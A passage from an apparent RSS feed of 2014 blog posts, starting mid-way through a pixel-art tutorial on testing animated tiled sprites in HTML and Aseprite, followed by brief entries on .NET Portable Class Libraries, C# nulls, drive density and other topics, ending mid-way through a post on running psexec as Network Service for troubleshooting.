&lt;img alt="" src="data:;base64,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" /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;save this water sprite! I made it myself! :D (that's why it's ugly..)&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Aseprite can export your sprite sheet to gif easily:&lt;br /&gt;
&lt;b&gt;file-&amp;gt;import sprite sheet&lt;/b&gt;&lt;br /&gt;
Choose your file, and set &lt;b&gt;width&lt;/b&gt; and &lt;b&gt;height&lt;/b&gt; to the sprite size (mine is 32 x 32 pixels)&lt;br /&gt;
Now in &lt;b&gt;frame-&amp;gt;play animation&lt;/b&gt; you can see your animation is working!&lt;br /&gt;
Now in &lt;b&gt;file-&amp;gt;save as...&lt;/b&gt; select &lt;b&gt;.gif&lt;/b&gt; and we have a beautiful animated gif.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;br /&gt;
&lt;img alt="" src="data:;base64,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" /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;This is the gif!&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Ok, problem is it's difficult to have an idea if the water will turn out ok because we haven't seem it animated AND tiled. So how can we do this? I was thinking about it and decided to code an easy solution to the viewing problem! Let's make and html!&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code style="color: black;"&gt; &amp;lt;html&amp;gt;  
 &amp;lt;head&amp;gt;  
 &amp;lt;title&amp;gt;Animated Background Tile Tester&amp;lt;/title&amp;gt;  
 &amp;lt;style TYPE="text/css"&amp;gt;  
 &amp;lt;!-- body {  
&lt;b&gt; background-image: url("animateWater1.gif");  &lt;/b&gt;
 background-size: 64px 64px;  
 image-rendering: -moz-crisp-edges;  
 image-rendering: -o-crisp-edges;  
 image-rendering: -webkit-optimize-contrast;  
 -ms-interpolation-mode: nearest-neighbor;  
 } --&amp;gt;  
 &amp;lt;/style&amp;gt;  
 &amp;lt;/head&amp;gt;  
 &amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;   
 &amp;lt;/html&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Ok, so this is a very simple html for testing sprite. Let's break it down:&lt;br /&gt;
background-image is where the filename of your image goes.&lt;br /&gt;
background-size is the size. I'm using it to double the scale of my gif, because my game will use double pixel scale.&lt;br /&gt;
image-rendering lines and -ms-interpolation are forcing use nearest-neighbor for aliasing option - like no anti-aliasing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I couldn't find a way to embedded the example above in this blog post, if you know how to do the Xzibit way and put a html page inside a html page, please tell me.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Nearest-neighbor doesn't work &lt;/h3&gt;
Ok, I've &lt;b&gt;only tested in Firefox&lt;/b&gt; 31.0. I know this example doesn't work in Chrome. I'm using because I had to disable caching - I use SSD and there is a lot of people on the web saying that caching is bad for it. Don't know if it's true, but with no cache it's better for web development.&lt;br /&gt;
&lt;h3&gt;
I can't resize Aseprite on Ubuntu!!! &lt;/h3&gt;
Yeah, unfortunately this is true for the Aseprite in the repository. But there is one way out. Close it. In your home folder, find the .asepriterc file and open it. Find the lines that look like this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code style="color: black;"&gt; ...  
 [GfxMode]  
 Maximized = no  
&lt;b&gt; Width = 1800  
 Height = 960  &lt;/b&gt;
 ...  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
And change the width height to one of your choice, and then reopen Aseprite. It's not the best solution, but it's easy and works! There are other solutions in the web, Google is your friend.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</description><author>Erico Notes</author><pubDate>Sat, 30 Aug 2014 19:52:40 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2014/08/easy-way-to-test-animated-background.html</guid></item><item><title>The Leftovers: Season 1</title><link>https://olshansky.info/tv/the_leftovers_season_1/</link><description>Olshansky's review of The Leftovers: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 30 Aug 2014 11:45:19 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_leftovers_season_1/</guid></item><item><title>Conjecture Regarding Larger iPhone Displays</title><link>http://daringfireball.net/2014/08/larger_iphone_display_conjecture</link><description>&lt;p&gt;John Gruber with the one article you ought to read before Apple announces its new iPhones in a few weeks, and the single article you ought to read afterwards as well when searching for the reasons Apple chose these dimensions. Minus the somewhat unimaginative title, a great piece, albeit somewhat hard to follow at times given the complexity of the topic at hand and the factors playing into his assumptions.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://daringfireball.net/2014/08/larger_iphone_display_conjecture"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 30 Aug 2014 10:38:39 GMT</pubDate><guid isPermaLink="true">http://daringfireball.net/2014/08/larger_iphone_display_conjecture</guid></item><item><title>Blue Screen - Ludum Dare 30 Entry</title><link>https://blog.varunramesh.net/posts/blue-screen-ludum-dare-30-entry/</link><description>Last weekend, I participated in Ludum Dare, a game jam where you make a game from scratch in under 48 hours.</description><author>Varun Ramesh's Blog</author><pubDate>Sat, 30 Aug 2014 00:51:00 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/blue-screen-ludum-dare-30-entry/</guid></item><item><title>Curation Gone Wrong</title><link>https://zacs.site/blog/curation-gone-wrong.html</link><description>&lt;p&gt;Although I have never spent much time on Reddit, I once perused Digg with the same frequency that I opened Twitter and my RSS reader; sometimes, I even opted for the former in place of the latter. Similarly, I favored Hacker News over the more popular Techmeme for a time. In both cases though, despite all the enjoyment I found in these sites, I eventually abandoned each of them as the value they provided continued a disappointing slide towards zero. Today, Daring Fireball and The Loop are the closest things to a curation service that I continue visiting regularly, and one could certainly make an argument against their characterization as such.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/curation-gone-wrong.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 29 Aug 2014 11:10:27 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/curation-gone-wrong.html</guid></item><item><title>Taming Portable Class Libraries and .NET Framework 4</title><link>https://nicolaiarocci.com/taming-portable-class-libraries-and-net-framework-4/</link><description>&lt;p&gt;If your project is a Portable Class Library and you want it to run with the .NET Framework 4 well, you are in for a few surprises. Especially so if you are using InstallShield for building your deployment package. We’ve been going through this a few days ago and it’s been kind of a wild ride. I thought I could pin the whole thing down so that others might enjoy a painless journey through all this mess.&lt;/p&gt;
&lt;h2 id="portable-class-libraries-and-net-framework-4"&gt;Portable Class Libraries and .NET Framework 4&lt;/h2&gt;
&lt;p&gt;The first thing you should know is that while the .NET Framework 4 does support PCLs, in fact it won’t run them without a patch. For whatever reason, Microsoft decided that PCL compatibility wasn’t a worth a 4.0.4 update. That leaves us with the need to not only make sure that target machines are running the up-to-date .NET4 release (v4.0.3) but also that they’ve been updated with &lt;!-- raw HTML omitted --&gt;KB2468871&lt;!-- raw HTML omitted --&gt;.&lt;/p&gt;
&lt;p&gt;You might be wondering why this is an issue in the first place. We could simply install the .NET Framework 4.5 which is backward compatible with the .NET4 and includes the afore mentioned KB2468871. Even better, we could just target the .NET 4.5 on our PCL. Problem is that besides iOS, Android, WinPhone and Silverlight we also want our libraries to run seamlessly on as many Windows editions as possible, Windows XP included. Here is the catch: &lt;!-- raw HTML omitted --&gt;.NET4 is the last framework version to run on Windows XP&lt;!-- raw HTML omitted --&gt;. And yes, we got the memo, Microsoft officially abandoned Windows XP a while ago so why bother? Well it turns out that millions of users are still running XP, especially so in the enterprise and SMB. These PCL are targeting exactly that, precisely the accounting software segment, and believe me there’s a huge number of users happily invoicing and accounting on their &lt;em&gt;old-fart-but-still-splendidly-doing-its-job-for-cheap&lt;/em&gt; boxes. Oh and the .NET Framework 3.5 is not an option as it doesn’t support Portable Classes at all.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 28 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/taming-portable-class-libraries-and-net-framework-4/</guid></item><item><title>Avoid null with Containers</title><link>https://daniellittle.dev/avoid-null-with-container-types</link><description>In C# It's often recommended that you should avoidi using nulls wherever possible. Avoiding nulls is a great concept that can simplify your…</description><author>Daniel Little Dev</author><pubDate>Thu, 28 Aug 2014 01:42:52 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/avoid-null-with-container-types</guid></item><item><title>ALS Ice Bucket Challenge</title><link>https://joshuarogers.net/articles/2014-08/als-ice-bucket-challenge/</link><description>Guy at the far left barely gets wet. Oh, that's me. Well, that works.</description><author>Joshua Rogers</author><pubDate>Wed, 27 Aug 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-08/als-ice-bucket-challenge/</guid></item><item><title>We Don't Need No Education</title><link>http://www.outsideonline.com/outdoor-adventure/nature/Unschooling-The-Case-for-Setting-Your-Kids-Into-the-Wild.html</link><description>&lt;p&gt;&lt;a href="http://benhewitt.net"&gt;Ben Hewitt&lt;/a&gt; puts forth a very good case not seeking to argumentatively justify the notion of unschooling, but rather simply to explain his motivations behind choosing it for his two children in a fantastic article for Outside Online titled &amp;#8220;&lt;a href="http://www.outsideonline.com/outdoor-adventure/nature/Unschooling-The-Case-for-Setting-Your-Kids-Into-the-Wild.html"&gt;We Don&amp;#8217;t Need no Education&lt;/a&gt;&amp;#8221;. As a homeschooler myself whose education resided somewhere between the traditional system and Ben&amp;#8217;s approach on the spectrum of organized learning, I have been fortunate enough to both witness and experience many of the philosophies named here. Although this is neither the time nor place to discuss those observations, nor my broader thoughts on education vis-a-vis this article, keep this one in mind when I finally do sit down to talk about education.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.outsideonline.com/outdoor-adventure/nature/Unschooling-The-Case-for-Setting-Your-Kids-Into-the-Wild.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 27 Aug 2014 11:08:49 GMT</pubDate><guid isPermaLink="true">http://www.outsideonline.com/outdoor-adventure/nature/Unschooling-The-Case-for-Setting-Your-Kids-Into-the-Wild.html</guid></item><item><title>Rough data density calculations</title><link>https://purpleidea.com/blog/2014/08/27/rough-data-density-calculations/</link><description>&lt;p&gt;&lt;a href="https://hardware.slashdot.org/story/14/08/26/2325203/seagate-ships-first-8-terabyte-hard-drive"&gt;Seagate has just publicly announced 8TB HDD&amp;rsquo;s in a 3.5&amp;quot; form factor.&lt;/a&gt; I decided to do some &lt;em&gt;rough&lt;/em&gt; calculations to understand the density a bit better&amp;hellip;&lt;/p&gt;
&lt;p&gt;Note: I have decided to ignore the distinction between &lt;a href="https://en.wikipedia.org/wiki/Terabyte"&gt;Terabytes (TB)&lt;/a&gt; and &lt;a href="https://en.wikipedia.org/wiki/Tebibyte"&gt;Tebibytes (TiB)&lt;/a&gt;, since I always work in base 2, but I hate the -bi naming conventions. Seagate is most likely announcing an 8&lt;em&gt;TB&lt;/em&gt; HDD, which is actually smaller than a true 8TiB drive. If you don&amp;rsquo;t know the difference it&amp;rsquo;s worth learning.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 27 Aug 2014 08:52:47 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/08/27/rough-data-density-calculations/</guid></item><item><title>Icon Yard</title><link>https://solomon.io/icon-yard/</link><description>Icon Yard is a library of Creative Commons Zero icons created by designers from all over the world. Finding good icons can make or break a project.</description><author>Sam Solomon</author><pubDate>Wed, 27 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/icon-yard/</guid></item><item><title>Alone With Lions</title><link>http://gearjunkie.com/pnt-trip-report-washington</link><description>&lt;p&gt;Jeff Kish is a contributing editor for &lt;a href="http://gearjunkie.com/"&gt;Gear Junkie&lt;/a&gt;, a great site that publishes articles about the outdoors and the gear we humans can use to best tackle it. For the past two months, Jeff has been on a mission to hike the Pacific Northwest Trail, and post regular updates and gear reviews along the way. With this report, he has finally crossed the halfway point, and so I felt that now was as good a time as any to post a link here: if you, like me, appreciate a good trail almost as much as a great work of prose, I encourage you to give &lt;a href="http://gearjunkie.com/PNT"&gt;this series&lt;/a&gt; a look: it has both in good supply.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://gearjunkie.com/pnt-trip-report-washington"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 26 Aug 2014 16:26:31 GMT</pubDate><guid isPermaLink="true">http://gearjunkie.com/pnt-trip-report-washington</guid></item><item><title>Command prompt running as NT AUTHORITY\Network Service</title><link>https://allanrbo.blogspot.com/2014/08/command-prompt-running-as-nt.html</link><description>&lt;p&gt;Here's a convenient way to get a command prompt running as Network Service. This is useful for troubleshooting authentication issues for services running as Network Service.&lt;/p&gt;

&lt;p&gt;Get Psexec from &lt;a href="http://live.sysinternals.com/psexec.exe"&gt;http://live.sysinternals.com/psexec.exe&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Run:
&lt;pre&gt;psexec -u "NT AUTHORITY\Network Service" -i cmd&lt;/pre&gt;
&lt;/p&gt;

&lt;p&gt;
